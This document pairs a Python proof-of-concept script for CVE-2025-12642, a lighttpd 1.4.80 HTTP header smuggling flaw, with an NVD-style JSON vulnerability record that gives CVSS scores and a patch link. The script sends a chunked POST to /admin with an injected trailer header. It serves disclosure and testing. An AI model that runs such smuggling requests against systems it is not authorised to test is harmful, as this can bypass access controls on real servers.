CVE-2025-12642

#!/usr/bin/env python3 """ CVE-2025-12642 PoC - lighttpd HTTP Header Smuggling This PoC demonstrates how to exploit the trailer-to-header merging vulnerability """ import socket import time def send_chunked_request(host, port, payload): """ Send a chunked HTTP request with malicious trailers """ # Construct HTTP request with chunked encoding and trailers request = f"POST /admin HTTP/1.1\r\n" request += f"Host: {host}\r\n" request += "Transfer-Encoding: chunked\r\n" request += "Trailer: X-Injected-Header\r\n" request += "Content-Type: application/x-www-form-urlencoded\r\n" request += "\r\n" # Chunked body with trailer request += "5\r\n" # First chunk length request += "test=\r\n" request += "0\r\n" # Final chunk (zero length) # Malicious trailer that gets merged into headers request += "X-Injected-Header: malicous_value\r\n" request += "\r\n" print(f"[*] Sending malicious request to {host}:{port}") print(f"[*] Request contains trailer that will be merged into headers") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.sendall(request.encode()) # Receive response response = b"" while True: try: data = sock.recv(4096) if not data: break response += data except socket.timeout: break sock.close() print(f"[+] Response received ({len(response)} bytes)") return response.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error: {e}") return None def verify_vulnerability(host, port): """ Verify if lighttpd is vulnerable by checking trailer handling """ print("[*] Testing lighttpd for CVE-2025-12642 vulnerability") # Send normal request normal_request = f"GET / HTTP/1.1\r\nHost: {host}\r\n\r\n" # Send malicious chunked request with trailers response = send_chunked_request(host, port, "") if response: print("[*] Response analysis:") print(response[:500]) return True return False if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='CVE-2025-12642 PoC') parser.add_argument('--host', default='localhost', help='Target host') parser.add_argument('--port', type=int, default=80, help='Target port') args = parser.parse_args() verify_vulnerability(args.host, args.port)

{"cve": {"id": "CVE-2025-12642", "sourceIdentifier": "1c6b5737-9389-4011-8117-89fa251edfb2", "published": "2025-11-03T20:17:06.410", "lastModified": "2025-11-12T14:34:27.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "lighttpd1.4.80 incorrectly merged trailer fields into headers after http request parsing. This behavior can be exploited to conduct HTTP Header Smuggling attacks.\n\nSuccessful exploitation may allow an attacker to:\n\n * Bypass access control rules\n * Inject unsafe input into backend logic that trusts request headers\n * Execute HTTP Request Smuggling attacks under some conditions\n\n\nThis issue affects lighttpd1.4.80"}], "metrics": {"cvssMetricV40": [{"source": "1c6b5737-9389-4011-8117-89fa251edfb2", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "1c6b5737-9389-4011-8117-89fa251edfb2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lighttpd:lighttpd:1.4.80:*:*:*:*:*:*:*", "matchCriteriaId": "4858564C-9D52-43CB-80F3-2E90F71C05FF"}]}]}], "references": [{"url": "https://github.com/lighttpd/lighttpd1.4/commit/35cb89c103877de62d6b63d0804255475d77e5e1", "source": "1c6b5737-9389-4011-8117-89fa251edfb2", "tags": ["Patch"]}]}}